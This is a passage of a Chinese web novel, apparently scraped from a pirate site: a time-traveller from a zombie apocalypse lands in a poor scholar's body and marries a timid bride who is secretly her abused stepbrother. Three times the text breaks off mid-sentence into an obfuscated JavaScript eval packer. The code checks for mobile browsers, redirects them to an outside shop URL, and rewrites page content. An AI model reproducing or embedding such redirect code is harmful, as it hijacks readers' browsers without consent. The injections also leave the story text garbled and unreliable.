《穿越种田养男妻》 1. 第 1 章 四月,乍暖还寒,一早春风料峭,玉泉村却热闹着。 今日村里的霍洵娶亲,大伙儿都等着吃席呢。 霍洵是玉泉村唯一的读书人,他爹娘皆已故去,家中兄妹三人,哥哥霍泽年近而立,已娶亲生女,妹妹霍苓才十五岁。 霍家原先是村里数一数二的富户,霍洵他祖父和曾祖父都是秀才,在镇上开了间私塾,在流云镇有些声望,为子孙后辈攒下了一些家底。 他父亲也想走科举之路,可惜读到四十多岁也未能考得功名,还将祖辈攒下的家底耗去大半。 霍洵这一辈也都进过学堂,霍泽没有念书的天分,读了几年便放弃了,老老实实回家种田;霍洵比他大哥强些,便继续科举。 原本一切都好好的,家中不算大富大贵,但也比寻常村户人家强许多。 可惜半年前霍泽上山砍柴,被毒蛇咬了,好不容易救回一条命来,腿却动不了了。为了给他治病,霍家大笔的银子往外头砸,一时花钱如流水。 再加上霍洵念书,花销也不小,家里入不敷出,迫不得已卖了好些田地。 如今真是大不如前。 霍洵这门亲事还是他爹在世的时候替他订下的。 未来岳家在镇上做灯烛生意,家境殷实。难得的是,眼见霍家落魄了,也没有悔婚。 村里人十分羡慕。 “听闻祁姑娘生得极漂亮,家里的门槛都快被媒婆踩断了,她爹还肯将她嫁给洵小子,倒是个讲道义的。” “呵,你知道啥?霍泽还好着时就替他弟弟去祁家提过亲,聘礼都给了,祁家一直拖延婚期。去年霍洵连着考过县试、府试,他嫂子又带着媒人走了一趟,这亲事才定下来。之所以定在今日,就是打着霍洵考中秀才双喜临门的主意,结果霍洵院试没考过,祁家如今只怕肠子都悔青了!” “如此说来,幸得是有个伶俐嫂子,不然霍洵这门亲事怕是要黄!” “是啊,秀英也是不容易,霍泽瘫在床上,霍洵又是个不知事的书呆子,一家子全靠她操持。” “村长让大伙儿多帮衬帮衬,咱们玉泉村就这么一个读书人,若能考个秀才功名,咱们这些乡邻也跟着沾光!” “是,村长说的对,原先霍洵他爹娘祖父在世时没少照拂咱们,如今他们遇到难处了,咱们帮扶一二也是应当的。” 众人纷纷点头,有个中年妇人却冷笑一声:“瞧你们说的!霍家那么大的宅子、几十亩田地,日子再难又能难到哪里去?让我们这些没两亩好地的泥腿子帮衬,也不怕人家笑话!” 另一个汉子深以为然:“是啊!人家又不分田地给咱们,凭什么让咱们帮忙?” 有人皱了皱眉,正要反驳,却被另几人拉开了。 “他们两家都有人在邱老爷家里干活儿,邱家与霍家不对付,他们也跟着与霍家作对,咱们不必同他们争。” “是啊,有这功夫,不如去霍家帮忙,今日他家做席,灶间定然忙碌,咱们都去搭把手!” “那就莫闲聊了,早些去霍家吧!” * 霍家此刻正是一副热火朝天的繁忙景象。 院子里摆了八张桌面,帮忙的人穿梭其中,有的擦桌子,有的摆凳子,有的端碗筷……,众人脚步不停。 东边角落里临时搭了个灶台,体态敦实的厨子挥舞着锅铲,锅里炊烟缭绕,冒出阵阵香气。 井边帮厨的妇人们正在洗菜,一篮篮带着水珠的青菜被折去老叶,处理得干干净净,她们面上带笑,边说边忙。 屋子里却是截然不同的气氛。 偏厅的房门虚掩着,霍洵正和他嫂子说话。 “祁家不像在办喜事,祁双就等在门外,我们一到那儿,她爹便催着我们带她走。说是祁夫人生病,不能见客,连门都没让我们进。” 成婚当日新郎官到了女方家里,要给女家的祖先上香,并同新娘子一起拜谢岳家爹娘。祁家不让迎亲队伍进门,这事儿实在荒谬。 霍洵说完,郭秀英皱着眉道:“是有些不对劲,亲女儿出嫁,怎会是这番态度?若真是生病,祁家与我们说一声,婚期也并非不能改,莫非还是不乐意将祁双嫁到咱们霍家,故意做出这姿态让你难堪?” 她想了想道:“不管怎么说,人已经接进门了,你去瞧瞧,看祁双是个什么态度。只要她与你一条心,你就好好与她过日子,她爹娘若是疼女儿的,日子久了态度自会缓和。” 霍洵颔首,转身往自己的卧房走。 郭秀英有些担心,他却十分淡定。 祁家姑娘是什么态度他完全不在意,不愿意嫁给他正好,他巴不得这门亲事黄了。 这具身体的主人早就死了,他根本就不是‘霍洵’,压根不想要原主的婚姻。 * 霍洵从末世穿越而来,上一世,他好不容易告别苦哈哈的高中生活,上了大学,才读了两个月,末世就来了。 极端天气、传染性极强的病毒、变异的动植物将人类的生存空间压缩到极致。 传说中的异能者没有出现,丧尸倒是来了。人类艰难求生,不到三年,全球人口少了五分之四。 霍洵是体育生,从小练武,曾拿过武术散打国家青少年锦标赛、亚洲锦标赛的双冠军,以国家一级运动员的身份单招进入国内最好的体育大学。靠着这幅好体格,他在末世生活得比寻常人容易,还当上了一个营地的头领,若老老实实待在营地,倒也不会死。 可他为了找失散的家人,几次离开营地,最后一次染上丧尸病毒,自己了断,没想到竟然穿越了。 原主与霍洵同名同姓,比他小四岁,是个性子天真的读书人。 半月前去府城赶考,路上被同乡推进河里弃之不顾,自己从湖里爬起来但染了风寒,怕耽搁考试他没去医馆治病,拖着一副高热的身子进了贡院,考完当晚就一命呜呼了。 霍洵穿来时他的意识还未完全消散,霍洵能感受到他心里强烈的不甘。 并非为自己,而是放不下家人。 原主爹娘都死了,但家里还有一个哥哥、一个嫂子、一个妹妹,和一个小侄女儿。 他大哥被蛇咬后失去行动能力,妹妹和侄女儿年纪尚小,家里全靠嫂子一个人撑着。 原主与他大哥年纪相差颇大,从小就是哥嫂带大的,如今看着哥哥被病痛折磨,嫂子苦苦支撑家庭,心里十分不忍。他本想考上秀才,帮着嫂子将霍家支撑起来,为大哥找更好的大夫,为妹妹觅一门好姻缘…… 可惜天不遂人愿。 霍洵也有家人,也有类似的心愿,接收完原主的记忆后,他对原主的情绪感同身受。 死亡无法抗拒,他没有办法让原主活过来,但愿意尽力帮原主完成他的夙愿,作为占用原主身体的回报。 霍洵给原主烧了些纸钱,将自己的想法与他说完,原主残存的意识才彻底消散。 霍洵不知道他的魂魄去哪儿了,心里期望他能穿到自己身体里,找到自己的家人,但也知道这有些不现实。 霍洵放不下家人,若有机会,他一定会回去,所以没想过要在这里成家。 好在原主这门亲事也是父母之命加上哥嫂促成,他根本没见过祁家姑娘,对成亲之事没有执念。 * 原主考试时昏昏沉沉,终究是没有考上秀才。 五日前,霍洵从府城回来,将落榜和被人推下水的事儿一并与嫂子郭秀英说了,又提出要解除与祁家的婚事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521527|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原主一家人品都十分不错,这个嫂子也是个重情重义的,霍洵在末世生活了三年,深知品性可靠的队友有多重要。 这里虽不是末世,可单打独斗也不现实,他虽有原主的记忆,但对这个时代终究不如原住民了解。既然原主的家人靠得住,他也不准备啥事都一肩挑,可以与原主家人商量商量,一起拿主意。 郭秀英听说霍洵被人推下河耽搁了考试,气得发抖:“那小畜生一家惦记咱家的田地、打你妹妹的主意还不够,竟敢这样害你!他们也不怕遭天谴!” 霍洵从原主的记忆得知,推他那人名叫‘邱仲晖’,家里与霍家早有旧怨,却不知邱家还动了这样的心思。 邱仲晖的父亲原先在霍家祖父的私塾里念书,因为品行不端、欺凌弱小被原主的祖父赶出了私塾,因此恨上了霍家。 这人有些运道,虽没考得功名,但后来做买卖发了财,买了大几十亩田地,成了个小地主。 得势之后,没少给霍家使绊子。 不过霍祖父和原身爹娘都已过世,邱仲晖他爹也老了,这几年两家已经极少打交道了。只是半年前霍泽被毒蛇咬了,险些没命,郭秀英为了救他不得已卖了十亩田,被邱家买下了。 买卖由中间人撮合,田地挂在县里一个举人名下,郭秀英得知背后的买主是邱家时,已经晚了。 若只是如此,倒也罢了,谁知人家还惦记着霍家剩余的田地和霍苓!邱仲晖的哥哥邱伯晖沉迷酒色,喝醉了还爱打人,前头那位妻子就是被他打跑的,这样的人还妄想娶霍苓! 郭秀英恨得牙痒痒,毫不犹豫地拒绝了。先前怕影响小叔子院试还小心瞒着,这回才和盘托出。 “村里本来有好几户人家属意咱们苓姐儿,怕得罪邱家,而今都不提了!” 霍洵本就有心替原主报仇,这下更不肯放过邱家兄弟了。 不过原主这副身体实在不够健壮,比他前世差了不是一星半点儿,霍家的情况也不好,他不能轻举妄动,便按下没提,只同郭秀英商量退亲之事。 当时的他郎心似铁,一门心思要解除这桩婚事,郭秀英却不同意。 “你的亲事是爹定下的,怎能轻易退亲?咱们这些年没少往祁家送东西,光聘礼就是三十两,祁家都收了,你如今反悔,这些东西可拿不回来。况且先前咱家三番五次地求娶,临到成亲只有四五日了,又说要退亲,这不是故意与祁家结仇吗?” 霍洵心想成亲前退亲总比后头成为怨侣强,郭秀英又道: “你是男子,可能不明白这世道对女子有多苛刻,这关口退亲,祁家姑娘若是个心性软的,能被外头的流言蜚语逼死。再者,我和你大哥极力促成这桩姻缘,不只是为你,也是为了苓姐儿,霍家在县城里头有一门姻亲,那邱家想打苓姐儿的主意也得掂量掂量。你非要与祁家退亲,苓姐儿和祁双该如何?” 原主先前从未对这门亲事提出过异议,郭秀英以为霍洵是因为没考中秀才,不好意思让祁家履行婚约,于是劝了又劝。 霍洵万分不情愿,但也怕祁双真有个好歹,只得打消退亲的念头。 未曾想他老老实实将人娶了回来,祁家却闹起了幺蛾子。 眼下他就盼着祁双也对这门亲事不满,能与他一起想法子解除婚事。 * 卧房里,一身红衣的‘新娘子’顶着喜帕坐在床边,喜帕底下是一张妆容凌乱、眼神怯怯的脸,既滑稽又可怜。 ‘她’低着头,一动不动,听到脚步声吓得身子一颤。 霍秋侧头看了一眼,大声道:“婶婶别怕,是二叔进来了。” 祁福更怕了。 怎么办,他若是今日就被赶回祁家,会不会被祁旺打死? 2. 第 2 章 祁福是祁双的继兄,他母亲生他时难产而死,下葬不到两月,继母便进门了。 继母没有虐待他,但也不怎么上心,他爹祁有德也疏于看顾,几个月大的祁福时常生病,体质孱弱。 又过了一年,祁双和祁旺这对龙凤胎出生,他爹满心欢喜,更没心思管他了。 祁福险些被饿死,他姑母看不过去,将他接到自己身边养着,一养就是五年。直到六岁时,祁有德受不了外头的风言风语,才将他接回祁家。 分明是回到自己家,可比在姑母家更像寄人篱下。 比起他这个大儿子,祁有德更喜欢在自己身边长大,性子活泼讨喜的祁旺和祁双。祁旺身子壮实,总是欺负他。祁有德不仅不阻拦,还警告他,不准仗着年纪大欺负弟弟妹妹。 祁福被要求帮着继母干活儿,因为力气小,身子弱,干不了重活,时常被他爹和继母斥骂。 就这样像个长工一样,每天忙忙碌碌,看着他爹和继母的脸色过了十年,祁福以为自己这辈子也就这样了,却陡然被勒令顶替祁双嫁给霍洵。 霍家是耕读人家,出了几个读书人,原先家境不错,这门亲事还是祁有德千方百计求来的。 可后头霍家落魄了,祁有德渐渐生出不满。虽然霍家送来的礼物照收,但婚期一拖再拖,直到郭秀英带上霍洵夫子过来提亲,夫子说霍洵学问扎实,假以时日定能考上秀才,祁家才应下婚期。 谁知霍洵院试落榜,另一位爱慕祁双的读书人却考中了秀才。 继母逼着祁有德去霍家退亲,祁有德自己也不甘心错过一个秀才女婿,夫妻两商量了几日,竟想出了让祁福顶替祁双出嫁的馊主意。 祁福自然不愿意,他一个男子怎好嫁人? 虽然大魏男风盛行,高门大户眷养男妾,贫困人家也有两个男子认作契兄弟搭伙过日子的,但霍家一开始认定的就是祁双,他们这不是骗人吗? 霍洵爱慕祁双已久,曾为祁双立下誓言,此生绝不娶她人。他嫁到霍家,定然讨不着好。 听闻霍洵性子斯文,不会动手打人,他却不敢信。 在旁人眼中,祁有德也是个仁义大方的,谁知他对亲生儿子如此狠心? 男子好脸面,一贯爱装。 他心中害怕,不肯答应,祁有德先是唆使祁旺将他狠狠地打了一顿,后来又将他关到柴房里挨饿受冻,祁福大病一场险些没命,终究是没扛住被穿上喜服,塞入花轿。 到了霍家,他战战兢兢,霍秋端来吃食,叽叽喳喳地与他说话,他丝毫不敢动,只祈祷霍洵晚些过来。 霍秋以为他害羞,从盘子里拿了个小小的肉包子放到他手里,热情地介绍:“这包子可好吃!是猪肉野葱馅的,皮薄薄的,浸了油,能看到里头的肉馅,可惜你盖着盖头闻不见,可香了!” 祁福闻到了,确实香。 祁有德怕他跑了,这两日每天只给一个灰面馒头给他吃,这会儿他饿得两眼昏花,嗅到包子的肉香嘴里不由自主地泛口水,但还是不敢动。 昧着良心嫁到霍家已经很过分了,还吃霍家的肉包子,霍洵岂能饶他? “快吃呀!”霍秋说着话又拿了一个,塞进自己嘴里,“娘说夏收之前咱们家都要勒紧裤腰带过日子,也就今日能吃点好的。婶婶快吃,你是新娘子,吃多少都行,吃完了我再去给你拿!” 肉包子放在手心,热乎乎的一团,香味儿直往鼻子里窜,祁福快馋哭了。 霍秋还在说:“这包子是姑姑一早起来包的,姑姑做包子的手艺可好了,咱们家都爱吃,原先她每月都要做几回,可惜这两年家里没钱买肉了,只有年节时能吃上一回……” 祁福越听越绝望。 霍家没钱了还花三十两聘礼娶祁双,发现新娘子被调包,怕是要气得当场将他打死。 即便留他一口气,到了祁家还是要被打死。 他这条小命无论如何是保不住了。 他不怕死,只是怕疼。 “婶婶你怎么还不吃?你瞧你,都饿得手抖了还这般客气!”霍秋一副老气横秋的语气,“以后这就是你的家啦,别不好意思!” 说完又推了推祁福的手。 祁福瘪了瘪嘴,心里有些动摇。要不还是吃吧,好歹做个饱死鬼。 他心一横,将包子拿进盖头里狠狠地咬了一口,只一口,便香哭了。 他长到十六岁,从没吃过这么好吃的东西。 祁福一边哭一边吃。 真香啊! 祁双真有骨气,这么香的肉包子都不要,非要嫁给那个家里穷得揭不开锅的秦秀才。 不像他,再吃一个肉包子就甘心去死了。 * 霍洵进门的时候,八个小肉包一个不剩,桌上只剩一个空碗。 “小秋去外头玩吧,我与祁姑娘说几句话。” “好吧。” 霍秋打了个饱嗝儿,端着空碗走了,霍洵将房门掩上。 他踱步靠近,发觉床上坐着的人攥紧了衣角,身体微微发抖。霍洵心中奇怪,县里商户人家的姑娘,竟然这般胆小? “祁姑娘,我帮你把盖头取下?” 话落,半晌没有回应,霍洵也不在意,随手将那人头上的盖头掀了起来。 一张面色惊惧,眼神慌乱的脸撞入霍洵眼中。 面前的‘姑娘’五官标致,略带英气,但身型极瘦,似乎有些营养不良。 ‘她’唇上搽了嫣红的口脂,脸抹得红红的,应当是吃东西时蹭到了,嘴角一圈也红红的。妆容滑稽,表情却可怜巴巴的。与霍洵对上视线后,立刻闭上眼睛,一副视死如归的表情。 但脸颊发抖的肉,眼角沁出的泪水,还是泄露了情绪。 霍洵举着那块盖头僵在原地。 这是被他吓着了?他有这么吓人?要不把这盖头给她盖回去? 霍洵现代的妈和姐姐都是猛虎一般的女子,穿到这里后最常接触的郭秀英也性子刚强,还是第一回与这般胆小爱哭的姑娘打交道。 他一个头两个大:“对不住,是我吓到你了?我只是觉得顶着这玩意儿闷得慌,也不方便说话……” 祁福呼吸顿住,表情空白——霍洵没认出他不是祁双? 两人面面相对,俱是满头雾水,霍洵想了想道:“你是不是不愿与我成亲,要不我送你回去?” 祁福瞬间回过神来,险些把脖子摇断:“不,不要!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521528|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他声音嘶哑,霍洵愣了一下,心想小姑娘嗓音还挺粗放。 不过既然没被吓着,也不是被逼着嫁的,那到底哭什么?霍洵百思不得其解。 想不明白,他就直接问:“你为何哭?” 祁福低着头不吭声,只绞弄自己的手指,霍洵有些头疼:“你先休息吧,晚点我再来与你说话。” * 霍洵将霍秋叫来陪着祁福,又去嫂子那儿求援。 “她一直哭,问她是不是不愿嫁我她说不是,要送她回去她也不肯,到底怎么了也不说。” 郭秀英看着满脸烦恼的少年有些好笑:“既不肯回去,定是愿意嫁给你的。小姑娘出嫁头一日哭不稀奇,舍不得爹娘,到了陌生地方害怕都有可能,你耐心哄一哄,莫让人受委屈。” 霍洵摇了摇头:“我还是先出去招待客人吧,晚上再回房,让她冷静冷静。” 郭秀英有些意外。 她这小叔子性子内敛,有些怕事,原先见了生人说不出几句话,这几日却变了个人一般,见到村里人会打招呼了,遇事也愿意出头了,今日还主动揽了招待客人的活儿。 不过霍洵这回也算是在鬼门关走了一遭,性子变了些也正常,她相公不也是吗。 原先多开朗的人,病了几年,性子渐渐沉寂下来,如今都不爱说话了。 兄弟两倒是掉了个个儿。 郭秀英有瞬间的失落,马上又鼓起劲儿来笑了笑:“那好,你去陪村里的叔伯们说说话,喝几杯。” 霍洵依言去了前院。 * 霍家亲戚少,今日来的客人除了原主舅舅一家,其余的全是村里人。 玉泉村民风淳朴,村里不少人先前受过霍家的恩惠,待霍家人十分客气。不过原主是读书人,他们在原主面前有些拘谨,更愿意与霍泽和郭秀英打交道,原主在村里没什么朋友。 霍洵的行事风格与原主截然不同。 他先去灶房那儿同厨子还有今日过来帮忙的人道了谢,说了几句客气话,又去院子门口接待客人。 开席后,霍洵主动给几个长辈敬酒,招呼大伙儿吃菜,感谢大家这几年对霍家的照应。 原主舅舅和村长俱是一脸欣慰。 “成了亲果然是知事了,如今有担当了!” 村里人也是赞不绝口,无论男女老少,谁与霍洵说话他都能接得住,大家原先怕他落榜后心中失落,都不敢与他说话,今日却发现并非如此。 霍洵十分豁达,并没有因为因为院试落榜之事气馁,席上有说有笑,提起科考之事也不避讳。 “科举之事不急于一时,这回落榜了正好回来为我嫂子分担一二,家里这几年全靠嫂子支撑,她实在辛苦。大哥病了,正是需要我的时候,我也该担起养家的责任,不能什么事儿都指望嫂子。” 郭秀英眼眶泛红,这些话霍洵从府城回来那日便与她说过,她没有放在心上。 小叔子这几年一直试图为她分担,可性子太软了,又只会读书,实在帮不上什么忙。 但今日当着这么多人的面说出来,可见他的决心。现在想来,这几日他确实做了不少事,真的不是从前那个事事等着兄嫂做主的少年了。 3. 第 3 章 一顿饭的功夫,霍洵在村民们心里的好感提升了一大截。 宴席结束,他将客人送走,将剩下的饭菜分给过来帮忙的村民,又和郭秀英、霍苓一起将院子、灶房都打扫了一遍,才回后院。 卧房里的祁福下午吃了霍秋端来的饭菜、红糖鸡蛋,还喝了两碗蜂蜜水,肚子十分满足,感觉自己可以安心去死了。 只暗暗祈祷霍洵动手时利索些,一下就将他打死。 别让他痛太久,更别将他送回祁家。祁旺很爱折磨人,回了祁家,他会生不如死。 霍洵在门口遇到霍秋,小姑娘端着个木盆刚从屋里出来,霍洵接过她手中的水在院子角落里倒掉。 霍秋一跳一跳地跟在他身后:“二叔,婶婶好生有趣,我端了水给她洗漱,她说下辈子要好好做人报答我呢!” “……”霍洵无言以对,心想祁家姑娘真是奇奇怪怪的。 “你快回屋睡觉,睡不够会长不高。” 一句话将霍秋打发走,霍洵大步进了卧房。 一个下午过去,祁福冷静许多,看到霍洵进门,也没再发抖。他脸上的妆容卸去,素白的小脸上一双澄净的杏眼格外引人注目。 外头传言不假,祁家姑娘相貌是不错。 霍洵转身将木盆放到盆架上,发觉他在悄悄看自己。 探着脑袋,眼神怯怯,像只躲在树桩后偷看的小兔子。 “祁姑娘。”霍洵在祁福面前的木椅上坐下,祁福又开始抖了,霍洵哭笑不得。 就原主这副小身板,他都嫌弃得不行,竟然还能吓到人? “你莫怕,我不会伤害你。只是今日去你家接亲时,未能拜见你爹娘,不知是我有哪里做得不对,让爹娘不高兴了?” 祁福抿了抿唇,小心翼翼地开口:“没有。” “那就好,”霍洵思量着道,“不知岳母生了什么病,可要紧?岳父生意繁忙,若是支应不开,你也可以回去照看几日。” 他本想关心一下祁双她娘,借此拉近距离,让祁双放松警惕,没想到面前的‘姑娘’更紧张了。 “不、不用!” 霍洵有些头疼:“往后我们要一起生活,你这般怕我,怎么过日子?婚姻是一辈子的大事,你现在后悔也来得及,你放心,我绝不会因此怪你。” 话落,他定定地看着祁福,祁福心里犯难,实在不知如何回应,半晌才讷讷道:“不后悔。” 霍洵总觉得‘她’的表现不对劲,但祁福什么也不肯说,显然对他十分防备,他再问也是惘然,不如先观察几日。 “好,时辰不早了,你早些歇息吧。” 霍洵说着从墙角的箱笼里翻出两床被褥,抱去次间,准备铺在窗边的竹床上。 祁福一双眼睛瞪得溜圆,不知他这是何意。 霍洵瞥了他一眼,温声解释:“大哥病重,眼下家里情况不好,我没心思做那事。再者你年纪还小,太早行房恐会伤身,咱们不急于一时。” 霍洵说的是真心话。莫说他本就接受不了盲婚哑嫁,即便是真心相爱,十六岁也太小了,都还没成年呢,他不可能动‘祁双’。 “这期间你可以好好想想,霍家的生活是不是你想要的。待你心智成熟,确定愿意与我共渡一生,我们再从长计议。” 祁福面色一怔。 即便霍洵不记得祁双的相貌,洞房花烛夜衣裳一脱,男子的身体是瞒不过去的。他抱着必死的心过来,没想到峰回路转,暂时不用死了。 霍洵是个好人,他的家人也很好。 可惜祁家被秀才功名冲昏了头脑,也不知日后会不会后悔。 不知不觉间,祁福对霍洵的畏惧淡了些,但愧疚又多了几分。 他犹豫了一会儿,走到书房小声问:“那我睡竹床,你睡大床吧?” “不用,竹床在次间,挨着窗户,不如卧房隐蔽,你就住卧房。” 霍家的宅子是原先家里富裕时盖的,是小两进的青砖瓦房,霍洵这间屋子是后院的正房,一共五个开间,卧房、书房、起居室、宴客厅、盥洗室一应俱全,次间是起居室,外面就是宴客厅,确实不如卧室隐蔽。 霍洵语气坚决,祁福不敢多言。 “你睡吧,我去洗漱。” 霍洵将卧房门口的帘子放下,转身又出了门,祁福轻轻舒了口气,将喜服脱下来,慢慢爬上床。 身上的伤还在隐隐作痛,外头不知何时下起了雨,祁福以为自己会睡不着,没想到不一会儿便陷入了睡梦之中。 * 翌日一早,祁福是被鸡鸣声吵醒的。 醒来后,他猛地坐起来,压到腿上的伤口,痛得眼泪汪汪才反应过来,他如今不在祁家了,晚些起来应当也不会被打骂。 不过他还是赶紧穿上外衣,梳好头发,准备去前院干活儿。 昨日霍秋说家里有二十亩地,还养了鸡和牛,想必农活不少。 他帮着祁家骗了霍家,还在霍家白吃白喝,干点活儿是应当的。 天才蒙蒙亮,祁福出了正房,瞧见霍洵在院子里锻炼。霍洵穿着薄薄的中衣,背对着祁福挥拳踢腿,动作带着风一般,格外有力,瞧着竟像是会武的。 看来要打死他十分容易。 祁福愣愣地看着,霍洵回头时就见他端着木盆,呆呆地站在那儿。 “怎么不多睡一会儿?” “睡不着,我想去帮忙干活。” 祁福的声音很轻,霍洵想着这姑娘胆小害羞,初来霍家只怕不自在,帮着干点活儿应当很快能与霍苓她们混熟。 “行,你去吧。” * 前院,郭秀英和霍苓也才刚起来,两人正打水洗漱,见祁福过来都有些诧异。 “这么早就起来了?成亲头一日,家里又没有长辈,怎么不多睡会儿?”郭秀英嗔怪道,“霍洵真是,也不劝劝你!” 霍苓欲言又止,她住在后院西厢房,出来时就见她二哥在院子里锻炼,只怕起得比二嫂还早。 “大嫂,妹妹,我来干活。”祁福表情拘谨,“有什么我能干的吗?” “莫着急,这两日你好生休息,待后头对家里的事物都熟悉了,再来帮我们!” 郭秀英说着话一把拿过祁福手上的木盆,给他倒了些热水,又给他拿了洁牙的柳枝。 “洗漱去吧,要是缺什么东西只管与我们说,往后就是一家人了,莫要客气。” 祁福点点头,学着霍苓的模样,将木盆放在台阶上,人站在台阶下弓腰洗脸,然后将盆子里的水倒到院子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17521529|203333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角落的草地上。 洗漱完也没走,霍苓和郭秀英做什么他马上就上去帮忙。 郭秀英煮饭,他抢着烧火;霍苓洗菜,他帮着拿篮子…… 祁家夫妻先前提到祁双都是一副宝贝得不得了的语气,祁家还雇了长工,郭秀英还以为这弟妹不擅家务,谁知竟这样勤快。 性子也有些出人意料,这般内敛胆小,实在不像县城里娇养长大的姑娘。 郭秀英心中惊奇,但面上不显,只是不再拦着祁福干活儿。 她看明白了,祁福这性子不让他干他反倒不自在。 * 三人手脚都利索,很快便做好了早饭。 春耕时节,家里农活儿多,早上的粥煮得稠,用的是只脱了壳的糙米,色泽浅黄,口感粗糙,还掺了豆子、南瓜之类的杂粮。 菜是昨日剩下的,一小块猪肉炒了竹笋,一大碗凉拌的野菜,一小碗蛋羹,一碟萝卜干,还有一条鱼要留着明日吃。 郭秀英精打细算,喜宴剩下的食材不多,又给帮忙的人分了些,剩下的也就够她们吃两顿。 这半年家里节衣缩食,今日有肉有菜,已是难得的好伙食。 弟媳才进门,郭秀英不想太苛扣。 霍苓将霍秋喊醒,霍洵将饭菜分出来一份送去他大哥房里,一家人便开始吃朝食。 郭秀英将蛋羹放到祁福面前:“弟妹多吃点。” 她让霍洵娶祁双确实目的不纯,霍家眼下就是个烂摊子,哪个好人家的姑娘愿意嫁进来?人家在县城里衣食无忧,何必自找苦吃? 郭秀英心里有愧,待祁福格外亲厚,祁福愈发心虚,脑袋都快垂到饭碗里去了。 “你们吃……”他菜也不夹,只吃碗里的粥。 郭秀英还要与他推让,霍洵起身拿了个勺子,将蛋羹给大家分了,一人两勺。 “大家都吃,”说着又给祁福夹了些别的菜,“往后有什么也都一起吃,别想着自己省下给别人吃,每个人的身体都要紧。” 霍秋连连点头:“就是啊,娘和小姑总不把自己放心上,瞧你们这两年瘦得,人家都不夸我们家的人相貌漂亮了!” 霍洵挺喜欢原主这个小侄女,当即给了她一个赞许的眼神。 郭秀英面上一怔,回过神后笑了笑:“好,那以后都一块儿吃。” * 吃完饭时辰还早,祁福抢了洗碗的活儿,霍苓和霍秋一个洗衣裳,一个去喂鸡。 郭秀英叫来霍洵,往他手里塞了一个荷包:“你今日带弟妹去镇上把回门礼买了,挑你岳家喜爱的多买些,买好的,莫舍不得银子。” 霍洵瞧出这是昨日收礼钱用的荷包,皱了皱眉:“大嫂,眼下家里窘迫,回门从山上挖些笋子,再带上家里的鸡蛋和青菜就够了,旁人家也是这般,咱不用打肿脸充胖子。” “莫犯傻!”郭秀英扫了眼灶房洗碗的祁福,压低声音,“祁家本就对你不满,回门礼还不送些有分量的,人家更瞧不上你了!祁双她姑丈是个秀才,你如今的夫子只是童生,你得了丈人欢心,说不定能让祁双她姑丈帮你指点功课。再者,苓儿的事也得岳家帮忙呢!” 霍洵语气低沉:“祁家拜高踩低,不值得托付。苓儿的事我已想到法子,不必劳烦旁人。” 4. 第 4 章 祁家原先不愿履行婚约,霍洵只当他们舍不得女儿受苦,也能理解。 可昨日迎亲时那幅作派不提,霍家给了三十两银子做聘礼,祁双的嫁妆却只有一个半新不旧、装着两身旧衣裳的箱笼。 霍洵找被褥时不小心瞧见,都有些不敢信。 他昨日两次提到送祁双回家,‘祁双’都很抗拒,他开始没往心里去,后头才回过神来,祁家只怕对女儿很不好。 霍洵打心眼里瞧不起这样的人家。 郭秀英不知情,还道:“祁家势利些不妨事,亲家母那般心疼弟妹,定然会为你们谋划。” 霍洵无法,只得将嫁妆之事与她说了,又道:“祁双今日穿的就是她那嫁妆箱子里的衣裳,旧也罢,还短了一截,以祁家的家境,若真爱惜女儿,怎么舍得这样对她?我瞧祁家这就是卖女儿,亲女儿都能这般苛待,苓儿怎么指望得上他们?” 郭秀英不敢置信,心想莫不是祁家怕她们占便宜,给了银子让祁双藏着,但想到祁双在霍家战战兢兢、谨小慎微的表现,又否定了这种可能。 原以为自家爹娘那样的已算少见,没想到祁双的爹娘也是一样,她们妯娌二人竟苦到一处去了。 郭秀英表情复杂:“苓儿的事你准备怎么办?邱家兄弟是真小人,他们攀上了田举人,有钱有势,可不好对付。” “科举取士不仅看学问,也看品行,参加科考的书生名声十分要紧。邱仲晖推我下河的事儿倘若被传出去,他会失去科考资格。”霍洵眼里的厉色一闪而过,“他若识相,就该离我们霍家远远的。” “可你不是说他推你时没人瞧见?咱们没有证据,能奈何得了他?” “没有证据就制造证据,我堵他不敢冒险。”霍洵看了眼郭秀英,“大嫂你别管,此事我有成算。” 郭秀英还是有些担心:“回门之后你便该回学堂念书了,此事能在你回去之前彻底解决?” “我暂时不回学堂了。”霍洵语气平静,“家里的银子都拿来给我娶亲了,大哥如今这样,你和苓儿、小秋日子都不好过,我想停学两年,挣够银子再继续科考。” 